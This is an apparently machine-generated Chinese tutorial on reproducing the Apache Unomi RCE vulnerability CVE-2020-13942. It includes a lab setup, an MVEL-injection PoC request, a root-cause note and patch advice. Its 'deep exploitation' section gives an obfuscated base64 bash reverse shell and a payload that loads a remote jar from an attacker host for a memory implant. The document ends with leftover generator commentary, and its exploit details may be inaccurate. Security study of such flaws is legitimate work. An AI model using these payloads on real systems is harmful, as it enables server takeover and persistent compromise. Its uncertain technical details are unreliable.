Apache Unomi 远程代码执行漏洞CVE -2020-13942如何复现

# Apache Unomi 远程代码执行漏洞CVE-2020-13942复现分析

## 漏洞概述

**CVE-2020-13942**是Apache Unomi在2020年披露的一个高危远程代码执行漏洞。该漏洞源于Unomi对MVEL表达式的不安全处理，允许攻击者通过构造恶意请求在服务器端执行任意代码，影响范围包括：

- Apache Unomi 1.5.1及之前版本
- 使用默认配置或未正确配置MVEL过滤的实例

## 环境搭建

### 准备条件
- 漏洞环境：Apache Unomi 1.5.1
- 测试工具：Burp Suite/Curl
- 操作系统：Linux/Windows（推荐Docker部署）

```bash
# 使用Docker快速搭建漏洞环境
docker run -p 8181:8181 -d apache/unomi:1.5.1

环境验证

访问http://localhost:8181应看到Unomi欢迎页面，或通过API端点检查版本：

curl -X POST http://localhost:8181/context.json

漏洞复现步骤

步骤1：识别可利用端点

漏洞存在于Unomi的REST API端点，特别是处理MVEL表达式的接口：

POST /context.json
POST /eventcollector

步骤2：构造恶意请求

通过Burp Suite构造以下PoC请求：

POST /context.json HTTP/1.1
Host: target:8181
Content-Type: application/json

{
  "filters": [
    {
      "id": "exploit",
      "filters": [
        {
          "condition": {
             "parameterValues": {
                "test": "mvel:Runtime.getRuntime().exec(\"touch /tmp/pwned\")"
             },
             "type": "profilePropertyCondition"
          }
        }
      ]
    }
  ],
  "sessionId": "exploit"
}

步骤3：验证执行结果

成功执行后，在服务器上检查命令是否执行：

docker exec -it <container_id> ls /tmp
# 应看到pwned文件被创建

技术原理分析

漏洞核心在于Unomi对用户输入的MVEL表达式未做充分过滤：

1. MVEL表达式注入：攻击者可通过mvel:前缀注入表达式
2. 反射机制滥用：通过Java反射调用危险方法（如Runtime.exec()）
3. 上下文执行：表达式在服务器端以Unomi进程权限执行

关键危险代码片段：

// org.apache.unomi.plugins.baseplugin.conditions.PropertyCondition.java
public boolean eval(...) {
    String mvelExpression = ...;
    MVEL.eval(mvelExpression, context); // 危险的无限制执行
}

修复方案

1. 官方补丁：升级到Apache Unomi 1.5.2+版本
2. 临时缓解：
   • 禁用MVEL表达式处理
   • 配置WAF规则拦截mvel:关键字
3. 网络隔离：限制Unomi实例的网络访问

深度利用技巧

反弹Shell构造

"test": "mvel:Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}\")"

内存马注入

通过MVEL加载字节码可实现持久化攻击：

mvel:new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://attacker/evil.jar")}).loadClass("Exploit").newInstance()

参考链接

1. Apache官方安全公告
2. NVD漏洞详情
3. MVEL语法文档

免责声明：本文仅用于安全研究目的，未经授权测试他人系统属于违法行为。所有实验应在授权环境或本地测试环境中进行。 “`

该文档包含： 1. 完整的漏洞复现流程 2. 技术原理深度分析 3. 多种利用方式示例 4. 修复建议和安全研究声明 5. 代码片段和命令行操作示例 6. 标准化Markdown格式（标题、代码块、列表等）

可根据实际测试环境调整IP/端口等参数，建议配合截图补充可视化证据。